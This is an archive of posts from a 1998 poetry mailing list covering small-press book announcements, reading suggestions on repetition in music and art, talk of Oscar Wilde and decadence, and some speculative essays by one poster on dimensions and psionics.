East is East
Tue 2 Jun 1998

The case of Sondheim's orientalist heteronyms vs. the case of Akiri Yasusada. It's interesting that no one has vented the kind of outrage we saw on the List a couple of months ago when Yasusada's book Double-Flowering was announced. (It's a Roof book, BTW, and both brilliant and important: should be seen.) Different kinds of "transgression"? Some fascinating questions arise about what

kinds of transgression are easy to accept and esteem, currently, and which not....Many points of comparison/contrast come to mind--but the careful respect Alan Sondheim has gotten, even from scolders, and the earfuls that Kent was treat to, is.....fascinating.

m.

↑ Index

50. J. Kuszai
granted
Tue 2 Jun 1998

---

dialog happens more than 5 in 24. I only work here (volunteer). The five limit rule was instituted after the peer-pressure method didn't work. More soapboxing, less dialog, Puhleeeze!

And Sylvester, who said that I would get more than five? Frankly, I can't imagine needing that many...

↑ Index

51. J. Kuszai
New from Meow Press
Tue 2 Jun 1998

NEW FROM MEOW PRESS:

Graham Foust, 3 from Scissors
Andrew Levy, Elephant Surveillance To Thought
Denise Newman, Of Later Things Yet to Happen

Currently I am in the process of getting caught up with Meow Press activities, such as reading manuscripts and answering long over due mail, making books, making books and making more books.

In the next few weeks, Meow Press will produce its 50th book. All of the backlist items are currently available. By the end of the week, SPD will have copies of Aaron Shurin's limited edition Codex & I am in the process of assembling Dodie Bellamy's Hallucinations and Kevin Killian's Argento Series, which SPD now has in stock.

(Some) books from the forthcoming list:

Susan Schultz, Addenda
Ted Pearson, The Devil's Aria
Noemie Maxwell, Thrum
David Carl, The Library
Liz Waldner, Bus Stop

Adrian Clarke, Just Deserts
Paul Long, Saccades
Don Cheney, Catullus

and more. Please write privately to inquire about ordering books or sponsoring a book from the forthcoming list.

I am committed to making 50 books a day for 90 straight days. I have help in the assembly dept but am going to need to replace my toner about 8 times in the course of these 4,500 books (78,000 prints). The recent donation of an old Apple laserwriter makes this a little cheaper. If you can help, please do.

↑ Index

52. charles alexander

Re: Repetition

Tue 2 Jun 1998

> *I'm trying to make a case for a certain use of repetition that defies the inherently symmetrical/stabilizing/structuring forms of repetition that anchor western systematics. Repetition as process rather than structure. Key figures/areas are (of course) Stein, as well as Pound, Hejinian, Scalapino, bpNichol, visual/sound/oral poetries.*

This isn't the non-literary, Scott, but one area in which a lot of work has been done on an "oral poetry" which makes much use of repetition is with the various traditions of Yaqui songs. I don't know if you would find this "repetition as process rather than structure," but there is at least one way in which I think it is that. You should look at Yaqui Deer Songs, ed. by Larry Evers and Felipe S. Molina, pub. by the U of Arizona Press sometime in the early or mid-1980's, and also Wo'i Bwikam/Coyote Songs, ed. by Evers and Molina, pub. by Chax Press. The book of the deer songs is more of a critical work with a lot of cultural/social and literary context; the Coyote Songs book has a useful introduction, even though its critical apparatus is very minimal.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

↑ Index

53. **J. Kuszai**
my third of five
Tue 2 Jun 1998

I also meant to mention Charles Alexander's "Four Ninety Eight to Seven" with a color cover image by Cynthia Miller printed by Scott Pound in Toronto. That book is actually printed but is waiting for the production problem regarding color covers to be resolved. Thanks Scott!

↑ Index

54. **Scott Pound**
Repetition
Tue 2 Jun 1998

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With thanks in advance!

Scott Pound

↑ Index

55. **Simon DeDeo**
Re: Repetition
Tue 2 Jun 1998

> *I am working on a critical study of the use of repetition in 20th C writing and performance and would appreciate citations people might be able to provide for works (creative and critical) that deal with NON-LITERARY forms of repetition: i.e. in music, computer programming, painting, oral performance, physics, chaos theory, mathematics, mechanics and other areas. If anyone has come across interesting attempts to account for the peculiar exigency of repetition without recourse to literary schemes and tropes please backchannel me the info.*

If I understand correctly what you're asking, there are a number of mathematical operations that one might consider both examples of repetition -- iteration -- and somehow "nonsystematic". This is, in a sense, what chaos theory is all about (for the mathematician), and catastrophe theory (for the engineer). Then there are also clever linguistic/mathematical crossovers that involve repetition across the boundary; the sequence {1,11,21,1112,3112,211213...}, for example.

More generally, repetition is one part of a binary, its antithetical pair being subdivision. In Western music, rhythym is built from subdivision, and it is more of a strucutral device -- the production of a grid from which to hang various units -- than something that is consciously realized in performance. Many non-Western musical traditions (including the subcontinent) construct rhythymic units through repetition -- a concatentation of various sound lengths with no notion of how a particular note, as played, might be subdivided in terms of its neighbours.

-- Simon DeDeo

[redacted]
http://www.fas.harvard.edu/~sdedeo

> *I'm trying to make a case for a certain use of repetition that defies the inherently symmetrical/stabilizing/structuring forms of repetition that anchor western systematics. Repetition as process rather than structure. Key figures/areas are (of course) Stein, as well as Pound, Hejinian, Scalapino, bpNichol, visual/sound/oral poetries.*
>
> *With thanks in advance!*

↑ Index

56. lee ann brown
poet apt share/ ?
Tue 2 Jun 1998

Poet Paul Long just asked me if I knew of anyone that wanted to share his Williamsburg (NYC) apt- $550 /month, 3rd stop on L train into Brooklyn. - call him at [redacted].

also Does anyone in possesion have time or inclination to type or scan in entire" Fabulous article in SF Examiner" about Kevin & Dodie?!? Then put it on a new homepage.... -Lee Ann Brown

↑ Index

57. Roger Farr
Re: ronaldjohnson
Tue 2 Jun 1998

I believe Small Press Dist. carries RADI OS. Part of ARK, the last section, called "Ramparts", was first published in Conjunctions 15 (94?), and includes a brief statement on poetics by RJ. As for the earlier books, I think they're all out of print. Steve McCaffery has written a great essay on Johnson, the name of which escapes me -- check the MLA.

Yours,

Roger Farr

> *dear listfolk >*
> *after the glowing mentions of his name on the list recently, i finally*
> *tracked down a copy of ronald johnson's "ark" - a truly remarkable book (i*
> *found a new copy in a second hand bookstore, a remainder i guess, along*
> *with a new copy of spicer's collected - both at secondhand prices!). could*
> *anyone please b/c me an address or somewhere where i can order johnson's*
> *other books (especially RADI OS) & i would also appreciate if anyone knows*
> *of any secondary material on johnson & where i might find it.*
>
> *thanks muchly in advance*
>
> *danny*
> [redacted]
> *melbourne, australia*

↑ Index

58. Sylvester Pollet
Re: ronaldjohnson
Tue 2 Jun 1998

Chicago Review 42.1 (1996) Interview/ Peter O'Leary) and Sagetrieb 14.3 (1995) pub 97, Johnson on Bunting, O'Leary on Johnson, & rev. of ARK by William Benton.

At 4:44 PM +1000 6/2/98, d.j. huppatz wrote:
>dear listfolk
>
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>tracked down a copy of ronald johnson's "ark" - a truly remarkable book (i
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>thanks muchly in advance
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>melbourne, australia

↑ Index

59. Don Wellman

Re: my wickit, wickit weird

Tue 2 Jun 1998

Interesting to me that once "weird" (fate) was primarily a noun, a force--now it is usually an adjective indicating a category that causes discomfort--almost proto fascist in that application. One vote or node here for "wyrdness" versus "wiredness."

And check the etymology of "wired" ... for fun (related to hair and manly as well as "virgin").

Don Wellman

↑ Index

60. R. Gancie

a night light for Miss Saigon

Tue 2 Jun 1998

"And the feared night, always the hiding place and friend of the hunted, was to be turned into day by electronic battlefields with sophisticated gadgetry for detecting enemy movements-the high flying klieg light of Aerosystems International, Inc., that was planned to provide a "battlefield illumination system," and the air force contract awarded to Westinghouse and the Boeing Company to study the feasibility of a mammoth space mirror to be blasted into permanent synchronous orbit 22,000 miles above Indochina to brighten this Farther West's darkest hours."---from Facing West: The Metaphysics of Indian-Hating and Empire Building by Richard Drinnon---cp

↑ Index

61. Miekal And
Y2K
Tue 2 Jun 1998

Steve Jones wrote:

> *I have been studying a rather important subject that I want to point you in the direction of so that you can do some research and come to your own conclusion, whioch may be to begin immediatly to prepare: The Y2K computer bug.*
>
> *Look into it. Its a big deal.*
>
> *Here are some links, though searching on the web will give you many more*
>
> *http://millennia-bcs.com/hlthsmry.htm*
> *http://www.y2ktimebomb.com/Washington/fgdex.htm*
> *http://ourworld.compuserve.com/homepages/roleigh_martin/y2journ.htm*
> *http://www.garynorth.com/y2k/search_.cfm*

↑ Index

62. Maria Damon
Re: Repetition
Tue 2 Jun 1998

look at studies of aphasia?

At 10:54 AM -0500 6/2/98, Scott Pound wrote:
>I am working on a critical study of the use of repetition in 20th C writing
>and performance and would appreciate citations people might be able to
>provide for works (creative and critical) that deal with NON-LITERARY forms
>of repetition: i.e. in music, computer programming, painting, oral
>performance, physics, chaos theory, mathematics, mechanics and other areas.
>If anyone has come across interesting attempts to account for the peculiar
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>Key figures/areas are (of course) Stein, as well as Pound, Hejinian,
>Scalapino, bpNichol, visual/sound/oral poetries.
>
>With thanks in advance!

>
>Scott Pound

↑ Index

63. Simon/Piombino
Feedback
Tue 2 Jun 1998

> *Date: Tue, 2 Jun 1998 16:19:08 -0400*
> *To: jkuzai*
> *From: Simon/Piombino <[redacted]>*
> *Subject: Feedback*
> *Cc:*
> *Bcc:*
> *X-Attachments:*
>
> *Hi Joel,*
>
> *Thanks for your post on feedback. This gets positively electronic,or mathematical or both, with me giving you feedback about your feedback about my feedback post.Maybe, being a therapist I am more sensitized to the crucial aspects of all of this, listening to patients day after day, year after year, who are so focussed on this issue. Still, it gets more and more interesting to me! There is a psychoanalytic theorist, Heinz Kohut who has been very influential in this regard who feels that feedback early on is the sine qua non of healthy psychological development.*
> *As to readings, may I recommend the recently published Close Listening (ed. Charles Bernstein, Oxford Univ Press)which contains 17 essays dealing with numerous aspects of the poetry reading. Mine is presented from a psychoanalytic point of view, not citing Kohut, but Winnecott. As to your comments, I particularly recommend Peter Middleton's "The Contempporary Poetry Reading":"Poets certainly become uneasy when they do occasionally reflect on poetry readings...Maybe the whole thing is a con...Donald Hall reports an unnamed poet complaining that 'the poetry reading has ruined a generation once promising , because in pursuit of platform success poets wrote simplistic poems....' These reservations are admittedly mostly from conservative voices, and likely to be dismissed by those fo or whom performance is a value..." Middleton presents the pros and "cons" of the contemporary poetry reading in a refreshingly unsparing way, of particular use to poets I think.*
> *On the other hand, perhaps there must be an upper limit to the feedback of one day, whether 5 or 50 posts. But perhaps there will never be complete agreement on this! Giving you the unenviable job of referee. Good luck!*
>
> *Nick*

>

↑ Index

64. Brent Long
The Second Coming
Tue 2 Jun 1998

Just a tad-bit of semi-useless information concerning the new poetry reading series, Apokatastasis Reading Series (Thanks, Ginny Masullo, for the name) in Providence, Rhode Island.

The reading takes place at Myopic Books on South Angell Street in Providence, and starts at 8:00p.m.

Tonight's featured reader is Bill MacMillan of Worcester, MA. In coming weeks we will be featuring Kyria Abrahams, Tony Brown, Michael Brown, and others. (Hopefully Cathleen Calbert, if i can get her e-mail address).

Anyone who is/will be in the area and would like directions to the reading or would like to discuss the possibility of a featured reading (it pays $30 for a 35-45 min. reading), feel free to e-mail me at [redacted]

This reading was started in order to counter-balance the overrated "Slam" poetry scene, and to embrace all schools and genres of poetry/short fiction, so all are welcome.. Also, there is an open reading following the featured reader every week, and open reading participants are allowed 5 minutes each. $2 at the door pays the featured reader and includes a bottomless cup of coffee. You can also bring your own beverage of choice (i.e. wine, beer, etc.).

However, this is NOT an open forum to come and read your diary, so please bring your strongest work. Hope to see you all there..

Brent

↑ Index

65. James C. Hall
Re: Repetition
Tue 2 Jun 1998

> *-- anything on West African "additive rhythm" (sorry, no sources at the moment)*

John Chernoff's AFRICAN RHYTHM AND AFRICAN SENSIBILITY is the obvious reference here, I think. . . I'd also draw folks attention to Ingrid Monson's recent book on jazz, rhythm, repetition and "speech," SAYING SOMETHING from the University of Chicago Press. . .

Best, Jim Hall.

James C. Hall
Asst. Professor of African-American Studies and English
University of Illinois at Chicago
601 S. Morgan St.
Chicago, IL 60607-7112
[redacted]

↑ Index

66. Taylor Brady

Re: Repetition

Tue 2 Jun 1998

Scott,

For musical examples / analogies, you might look at / listen to:

-- early Steve Reich (I hear the more recent stuff as symmetrical/stabilizing/structuring, "classicizing," etc., but "Violin Phase" and "It's Gonna Rain," say, get at a sense of repetition as processual, diachronic, etc., etc.

-- Anthony Braxton's newer Ghost Trance Musics, and any published accounts of his compositional method within his former quartet -- which would often play one composition in the drums and bass, another in the piano, and yet a third on sax -- deploying the repeatability of these compositions as "unit structures" (think Cecil Taylor, when you say that, you dirty structuralist) to effect a complex interlayering which ultimately compromises and reconfigures their unit status. Anthony Rabano has a good, but technical and rather difficult book, on Braxton, which deals mostly with the quartet years.

-- dub, esp. Lee Perry, King Tubby, and more recent stuff produced by Adrian Sherwood (Revolutionary Dub Warriors, Dub Syndicate, et al) -- repetition at the level of the "version"

-- raga -- good, relatively non-technical chapter on this in Derek Bailey's book Improvisation -- I'm at a loss for accounts of the music by practicing and / or historical musicians of the subcontinent (someone help?)

-- (related to repetition): persistence, sustain -- as in long-duration minimalism -- Tony Conrad, Phill Niblock, early LaMonte Young -- "keeping on" as opposed to "doing again," with the proviso that such an "opposition" might be called into question by these musical practices

-- anything on West African "additive rhythm" (sorry, no sources at the moment)

-- Jacques Attali's Noise treats repetition not only as a micro-component of the musical object / event, but uses it to name an historical stage in the macro-social organization of music: "[With the advent of recording] More than ever, music becomes a monologue. It becomes a material object of exchange and profit, without having to go through the long and complex detour of the score and performance anymore. Capitalism has a frank and abstract interest in it. . . . Once again, music shows the way: undoubtedly the first system of sign production, it ceases to be a mirror, an enactment, a direct link, the memory of past sacrifical violence, becoming a solitary listening, the stockpiling of sociality. The mode of power implied by repetition, unlike that of representation, eludes precise localization; it becomes diluted, masked, anonymous, while at the same time exacerbating the fiction of the spectacle as a mode of government" (88). This might be a less savory sense of the repetition-as-process you're looking at: repetition is that which "eludes precise localization" -- i.e., that which is destabilizing in any particular event-series -- only insofar as it reproduces at the largest scale the contours of a spectacular ideology. In many ways, this reads like a rehearsal of Jameson's by-now-infamous critique of Perelman's "China."

-- (related to repetition): This, from Iannis Xenakis' "Formalized Music": "But the profound lesson of such a table of coherences is that any theory or solution given on one level can be assigned to the solution of problems on another level. Thus the solutions in macrocomposition . . . can engender simpler and more powerful new perspectives in the shaping of microsounds than the usual . . . functions can" (vii). Thus, a kind of repetition across levels of scale in either or several directions -- repetition here is not the incremental addition of units to form a whole, but the process by which one whole might be said to model another. (In another realm entirely, see Samuel Delany's various texts and para-texts on the "modular calculus" [Trouble on Triton and its second appendix, the appendix to Tales of Neveryon, all of Neveryona, and "The Tale of Plagues and Carnivals" in Flight from Neveryon] for an indication of some of the difficulties of generating such a modeling procedure which does not lapse into easy analogizing). Xenakis, of course, has also worked as an architect, so I wouldn't be surprised to find other works by him which deal with this problematic in terms of architecture.

. . . and one example from architecture / visual art:

-- Arakawa and Gins, any of the various catalogues or publications stemming from their 1997 Guggenheim show -- when you build a structure out of , say, a regular dodecahedron with one missing face repeated in a linear series in which each iteration is rotated a certain number of degrees off the horizontal and the vertical, you've established a very different relation between unit and macro-

form than that of a Corbusier, all the evident similarities (i.e., reduction of the large to a series of repeated smalls) notwithstanding.

Hope this helps. See you in Buffalo soon.

Taylor Brady
editor, Cartograffiti
http://writing.upenn.edu/spc/cartograffiti

(a publication of the Small Press Collective)
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<P>With thanks in advance!

<P>Scott Pound</BLOCKQUOTE>

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↑ Index

67. William Burmeister Prod
vintage fin-de-siecle cheesecloth
Tue 2 Jun 1998

On Jun 2, 1:15am, Tom Orange wrote:

> *i think of "decadence" as a useful descriptor here, more than a hint of an earlier vintage but decanted through a high-surrealist cheesecloth, made more potent for the current fin-de-siecle.*
>
> *(sorry for the bad metaphor; this is supposed to be a compliment.)*
>
> *t.*

Decadence is apt descriptor in his book yes. The prose continues to haunts me most, what Baudelaire could be now, but the racy, fictive narrative agrees too!

High-surrealism: are we there yet? Has Jeff Clark raised the bar? What do listcitizens think of (if anything) the later noir films of David Lynch/surrealism as this relates to recent threads on "flatness," 'specially with regard to flattened female figuretypes?

There does seem to be mounting evidence of commercial pop-culture gesturing in the direction of this fin-de-siecle, a jockeying in position for the final stretch. There has been a burst of stage and cinematic activity on the life of Oscar Wilde which I find interesting. Found the film "Wilde" to be surprising, likable, but a

bit tamed, or perhaps normalized. Still, should be an eye-opener for anyone thus uninitiated.

William

↑ Index

68. Billy Little
what does not change?
Tue 2 Jun 1998

can you notice a change in your writing since you came online has the quality or the quantity of your correspondance diminished is e-mail correspondance or conversation or shouts across the void i just saw a bunch of haiku and tanka by david mcfadden and it made me wonder if this was e-mail's toll on him, i love his endless poems, i used to think that margaret atwood and mordechai richler and anne hebert were neck and neck and neck for the first canadian nobel prize but that was before i read mcfadden's there'll be another he's a funny man who can make me cry like wislawa szimborska and blaga dimitrova

↑ Index

69. morpheal
Re: philosophy all at sea? mythematicians and their daffynitions
Tue 2 Jun 1998

> *Actually n-dimensional geometry is well developed; it presupposes that n can go to infinity. Measure polytopes such as line segments, squares, cubes, hypercubes, etc. are governed by very specific laws. Coxeter has invested these, and there is an excellent book published by Dover on the subject - D.M.Y. Sommerville, An Introduction to the Geometry of N Dimensions.*

Huge oooops.....you've made a common error. The clue there is "geometry". I was referring to true dimensions. Seems Einstein _believed_ that there are only four such dimensions. (Always best to use as few as possible.) Four dimensional space-time was to be believed to be sufficient to fully locate any event. Fact is that there are too many, empiracally observable, anomalies for that to be true. (Not to mention the non observable ones that elude us simply because we lack the means as to that observation.) So the Einsteinian cult, and its religion, follows the Newtonian cult and its religion. If we suspend the element of belief we realize that is not where it ends.....progress always rears its ugly many heads and shatters the belief. That is a paradigm shift. We are currently in the middle of the biggest paradigm shift that has ever happened in science....the leap beyond Einstein and beyond the limits of past empiricisms.

Nevertheless the geometer tries to confound as, joining in to obfuscate the meaning of dimension, along with the mythematician who is yelling "infinity, infinity, infinity".... It really is surreal.

Wierd as it seems, the history of science claims that before Einstein's poetry there were only three dimensions. That is in Newton's poetry. That is a different usage of the word "dimension". Shows you how the mythematicians got so fuddled up that they had to redefine the terms dimension and dimensionality to obfuscate the real difficulties.

The difficulty as to defining the poetic usage of words, precisely, and distinguishing mythematical infinity (any empirically non locatable event, any incommensurable even if very finite) from true infinity, and distinguishing the mythematical geometers multiplicity of geometric dimensions from true dimensions.

All that geometry stuff is known in what amount to three, occassionally if you are doing animations, four, dimensional graphics. Geometers rarely even think about Einstein. They simply define any possible geometric shapes, within their own system of definitions. Geometry as another poetics.

Again, those geometric dimensions are not true dimensions, but we do begin from Euclidean poetry. (The geometer simply adds verses to that epic.)

True dimensions are the 1-3) 3 Euclidian dimensions of space x,y,z
4) the dimension of time t
5) Let's call this the "hyper-dimension" T
(T is appropriate as it locates tachyons
but to locate tachyons requires the three
Euclidean coordinates plus a T coordinate.)

Some would add 6) Many Worlds (really permutations of the above
but including bifurcations of causal chains in
terms of quantum event histories).

7) probabilities

Some do include #7, but it is the only one that is disputable as being a true dimension. However, because causality becomes so "synchronistically" complicated by the fact of five true dimensions, potentially resulting in a highly complex interweaving of bifurcating chains of cause-effect quantum histories, we must include a sixth dimension to allow localization of whole sets of such cause-effect quantum histories from their bifurcation point. That means, any branchings of quantum histories, as found anywhere along the t or T axis of coordinates.

Although I can "picture" it, roughly, in my mind, I cannot suggest an adequate "geometric" representation. Rough analogies or geometric metaphors, sure, but

no definite way to represent this six dimensionality. Essentially shove an empirically "invisible" space-time into the four dimensional visible one so that the two are interactive. Ouch. That boggles the brain and the computer. Add probabilities of any interaction, in all of that, and you're there in the universal madhouse.

Remember that a true dimension is never reducable to anything else. It is necessary so as to be able to locate quantum events in space-time.

> *Finally, there are books on Dimension Theory (the title of one published by Princeton years ago) that go into the foundations of "dimension" - and it should be noted that string theory works with eleven dimensions, not four, at least from what I've read.*

Again, not true dimensions, and string theory has been discussed in terms of more than eleven geometric dimensions, but that might be the lowest possible number of geometric dimensions that were necessary to produce the original string theory metaphor.

M.

aka Bob Ezergailis

↑ Index

70. toddbaron
Re: Call for submissions
Tue 2 Jun 1998

---

scott:

what is yr publication's bent?

↑ Index

71. Tom Orange
decadence, fin-de-surrealisme
Wed 3 Jun 1998

On Tue, 2 Jun 1998 William Burmeister wrote:

<<Decadence is apt descriptor in his book yes. The prose continues to haunts me most, what Baudelaire could be now, but the racy, fictive narrative agrees too! High-surrealism: are we there yet? Has Jeff Clark raised the bar?>>

bumped things up a notch, or at least warped it back through some previous terrain (lautreamont?) -- but then again i was just having a long overdue look at some o'hara, "easter" in particular -- now there's a whole other possible frame of reference. as in, when does abstract expressionism stop being surrealism -- a poor question art-historicalwise praps, but the lines in writing may be fuzzier.

as to the resurgence of fin-de-siecle, my head's more in that of the previous century right now -- anybody know anything about john barlas / evelyn douglas? ironically tho, moral climates may not have changed that much since then?...

t.

↑ Index

72. david bromige
moral climates
Wed 3 Jun 1998

Tom, I think moral climates have altered as much as literal climates since 1898. It's difficult to imagine a famous playwright being jailed for 2 years for homosexual acts, today. Surely we're in the El Nino of moral climates with Clinton in the W.H. & Maplethorpe in the galleries. Sure, Jesse Helms and ilk still have clout, but in California and Ontario those attitudes feel remote.

Oscar, however, keeps his currency. One year back in the '80s I decided to try "The Importance" out on an Intro to World Lit class. It was a stretch, I figured, but what th'heck. They loved it! And every year thereafter, the next set of "them" did, too. Surely these young english twits of '98 had nothing to show my northern california dudes and dudettes of '89. It was the wit, the wit survived--that, and maybe the airy disdain for convention, curiously twinned as it is, there, with the worry as to what is the proper thing.

I have yet to see the movie--which a friend whose opinions I sometimes trust (when they have agreed with my own) recommends. Any List-eners have an opinion?

David

Ps : Tom, as you, being up there near the weekend-getaway moose-lodge know, we owe to George Bowering a great deal for this freeing up of at least Canada's moral climate. It wasnt so long ago that Maria Damon and Rachel Loden were testifying to his pioneeer work. Surely the silence of late on this score announces the triumph of the new morality, rather than its having succumbed to an older set of regulations? D

↑ Index

73. Douglas Oliver
Re: repetition
Wed 3 Jun 1998

In addition to West African, Zairean music could be looked at, of course, since that country is such an important influence.

Doug Oliver

↑ Index

74. Anthony Lawrence
Poets' Audio Centre
Wed 3 Jun 1998

Can anyone tell me if the Poets' Audio Centre is still
producing tapes? I emailed an order to them, but it bounced.

Thanks

Anthony Lawrence

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

75. morpheal
Re: a night light for Miss Saigon: [lights out and cyber symbiotics]
Wed 3 Jun 1998

> *"And the feared night, always the hiding place and friend of the hunted, was to be turned into day by electronic battlefields with sophisticated gadgetry for detecting enemy movements-the high flying klieg light of Aerosystems International, Inc., that was planned to provide a "battlefield illumination system," and the air force contract awarded to Westinghouse and the Boeing Company to study the feasibility of a mammoth space mirror to be blasted into permanent synchronous orbit 22,000 miles above Indochina to brighten this Farther West's darkest hours."*

In the future they can see clearly with the lights all turned off. Or, prognostications for a future cyber symbiotic capability.

On the not so future battlefield it is possible that the same facilitation that facilitates remote viewing will enable troops to, in essence, see enemy positions. The data from satellites that are capable, for example, of sensing a single circuit within a tiny electronic device at vast distances, combined with data from infra-red and electromagnetic sensing stations, merged meaningfully into the human visual impression of what is directly emergent in the field of view.

We might easily envision a futuristic capability of remote and meaningful electromagnetic sensing of an organic system's information processing by an

inorganic entity, transmitted virtually to a central processor, translated into machine data, interpreted by a multitude of expert systems, retranslated back into electromagnetic data that conforms to the organic systems processing language, and transmitted over a long distance to another organic system. The organic source becoming an organic sensing peripheral to the central processor, and the organic receiver receiving the informational content of the entire process as a kind of "remote viewer", on a need to know basis, any useless data and erroneous data having been presumably filtered out. All happening virtually in what is effectively zero elapsed time.

Incredible, even unbelievable, as that technological supremacy seems to be, I believe that it is entirely feasible, and that organic devices can be fully merged with inorganic systems, in a fully symbiotic, meaningful and pragmatically useful manner. Not only that, but that they can function at potentially mythematically "infinite" distances. A fighting force that possesses such intelligence cannot be defeated where the outcome is significantly dependent on intelligence, as opposed to being dependent purely upon other assets.

We might also envision that any hostile fighting force, arriving at this planet, from beyond our solar system, will already have that kind of technological advantage and will be fully psionic and symbiotic. That any alien force would be competitively hostile rather than friendly, within a remarkably competitive and hostile Nature, is indicated by our empirical observations of human and other species, species internal and species external, interactions. So, if the real demons or angels decide or chance to arrive here, at this clod of earth, at the far reaches of the galaxy, we are in real deep doo-doo.

M.

aka Bob Ezergailis

↑ Index

76. morpheal

Re: patterns of discovery [Cronenberg's "Scanners"]

Wed 3 Jun 1998

>"The phrase "distinguishable object" has figured in the foregoing.
>Counting can be only of the discrete. We cannot count the drops in a
>beaker of alcohol unless we first introduce a convention as to what will
>be regarded as "a drop." ..... We come to know, implicitly at least, what
can >and whatcannot be counted. This knowledge gets built into our questions
about
>nature, so to speak...."---from Perception and Discovery: An
>Introduction to Scientific Inquiry by Norwood Russell Hanson---cp

All of that brought only one thought to mind.

All ideas are in fact quantum electromagnetic events. They are in essence materialized in the same manner as is other stuff (matter). Ideas are in effect no different from other things. They are substantia. They are actua, rather than potentia. There is no potentia. There is no Platonic form. Even the thought of any potentia is in fact a kind of actua. The same as to Plato's ideas regarding the world of ideal forms. Whatever we can perceive and/or cognize is in effect, as that very process, and that instance of manifestation of process, right to its most fundamental roots, a quantum complex of material events.

Insubstantial is nothing. Insubtantial does not exist. Immaterial does not exist. What does not exist cannot be thought except as this thought of not being and that thought of not being is itself already beingness as a thought of not being. There we stop. We can go no further. We can no longer divide the world into body and soul, mind and matter, in the ways that our ancestors did. Now there is only one world of quantum histories, quantum cause-effect chains, material events.

There is no mind and body duality. There are only quantum events. That expression shakes all previous worldviews, and divides us from tradition.

There are also only the histories of quantum events. Can we be so poetic as to refer to that a the "soul" ? It would be no more than poetic license to do so. (As long as our poetic licenses are not revoked I suppose that is alright.)

The interesting question is the virtual storage of _all_ of those quantum histories. It quickly exceeds the old byte per neuron capabilities of an entire brain, in any organic system. It exceeds, by many times more, the byte per neuron capacity of any specialized storage area envisioned by traditional neurology as being devoted to memory.

So we arrive at a quanta of memory, parallel to the quantum metaphor for the structure of matter.

Imagine the precise resolution required for any discernment of one idea from among all the possible data within a typical jumble of lifetime acquisition within any typical "free agent" organic system.

The typical demonstrations of nanotechnology become a child's toy in comparison to the scanning and retrieval capabilities of a highly evolved intelligence system (whether organic or inorganic).

This reminds us of David Cronenberg's movie "Scanners" and what a leap of technological speculation, considering the currency of the setting wherein the story takes place, is represented in that particular depiction. Cronenberg claims immediacy. Does that frighten us ? Perhaps that is the thought that viewers of

the film failed to think. What if that is us, today, right now, was unthinkable to them. It was too terrifying to contemplate. Similar to the momentary amnesia that the victims of most serious accidents experience, at the moment of impact and very often for a short while after that, the viewers of the film could not think that thought superimposed upon their own day to day realities. However, in the future, we might easily predict that that is part of the day to day reality of everyperson.

M.

aka Bob Ezergailis

↑ Index

77. Joe Amato/Kass Fleisher

sustainability redux...

Wed 3 Jun 1998

---

just a quick note here to say that i've finished reading sandra steingraber's _living downstream: an ecologist looks at cancer and the environment_ (addison-wesley, 1997)... this is the book michael corbin mentioned in the exchange on nature/poetry etc...

it's a remarkable achievement, and a worthy successor to _silent spring_... i'd call it a handbook for our chemical times... i find it difficult to refer to any book as a "must read"---but this one comes as close as any...

best,

joe

↑ Index

78. L. MacMahon and T.R. Healy

The State We're Out/novel without words

Wed 3 Jun 1998

Just a quick note re a new book. I think it might be of interest to university libraries which have an Irish section. If anyone would like to see a brochure which contains reproductions of the lino-printing, the author can be contacted at

[redacted]

best wishes

Randolph Healy

********** The State We're Out is a novel without words told ijn a series of fifty three original printed plates by Brendon Deacy.

The narrative describes one man's emigration from the West of Ireland in 1951 and his subsequent experiences but as Roddy Doyle writes in his foreword, 'its form invites us all to create our own story from the images and, perhaps more importantaly, the page-turns between the images.' The pictures have been created by linocut printing, a medium which powerfully and directly evokes all the vitality of the wide range of events and emotions resulting from exile.

****

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79. Henry Gould
recommended criticism
Wed 3 Jun 1998

Would like to recommend remarkable book out of Canada:
INFINITY, FAITH & TIME by John Spencer Hill
McGill-Queen's Univ Press
isbn 0773516611

Book explores renaissance humanist tradition of faith-grounded reason out of Clement of Alexandria & Nicholas de Cusa, contrasting it with scientific rationalism which followed it. Looks at concepts of time, space, infinity via Traherne, Milton, Shakespeare, Pascal; Augustine & Bergson.

We have had many discussions on the list circling around issues of science & poetry; this book gets at the roots of those dealing with reason/faith/knowledge & points toward a contemporary reconnection with the questions confronting Donne, Herbert, Shakespeare, Milton, Traherne - the basic role of poetry in a rationalized cosmos. Implying also a re-renaissance of this connection in poetry itself.

The section on Nicholas of Cusa alone is worth checking this one out. An amazing thinker who undid the scholastic/Aristotelian closed cosmos decades (centuries?) before Copernicus (much more timidly) did, without either mystical eccentricity or rationalist enthusiasm (ie. F. Bacon). See Nick's volume: ON LEARNED IGNORANCE. For example, Nicholas thought the question of whether the universe is finite or infinite was moot. This sounds like a typical medieval know-nothingism, but it's not; Nick had a very subtle concept of creation as BOTH finite & infinite. Red shift, anybody?

- Cardinal Hank

↑ Index

80. MAYHEW
Imagination in danger from religious right
Wed 3 Jun 1998

From the most recent New York Review of Books:

To satisfy the religious right, many textbooks have largely banished the words "imagine" and "feel." According to an editor at McGraw-Hill, who did not want to be identified, "We were told to try to avoid using the word 'imagine' because the people in Texas felt it was too close to the word 'magic' and therefore might be considered anti-Christian. Instead of saying 'Imagine you were sailing across the Atlantic with Christopher Columbus,' we were encouraged to write 'Suppose you were...'"

Jonathan Mayhew

↑ Index

81. morpheal
Re: sustainability redux...[science friction]
Wed 3 Jun 1998

> *just a quick note here to say that i've finished reading sandra steingraber's _living downstream: an ecologist looks at cancer and the environment_ (addison-wesley, 1997)... this is the book michael corbin mentioned in the exchange on nature/poetry etc...*
>
> *it's a remarkable achievement, and a worthy successor to _silent spring_... i'd call it a handbook for our chemical times... i find it difficult to refer to any book as a "must read"---but this one comes as close as any...*

Sounds doubtful, because the subject necessarily is so multi-disciplinary and a specialist in one area is hardly able to see the big picture. At least most cannot. Your implication that the book (which I have not read) is mostly about chemicals in the environment is indicative of that same criticism.

Cancer is a very complicated disease. Actually there is no such disease, as it is a category for a very wide variety of disorders with very divergent etiologies. In fact, any example, of one identifiable (scientifically namable) disorder might have many different etiologies. The causality of the disorder need not be the same in each instance. Often it is not the same.

I can phrase this as a question about the book. Does the book discuss

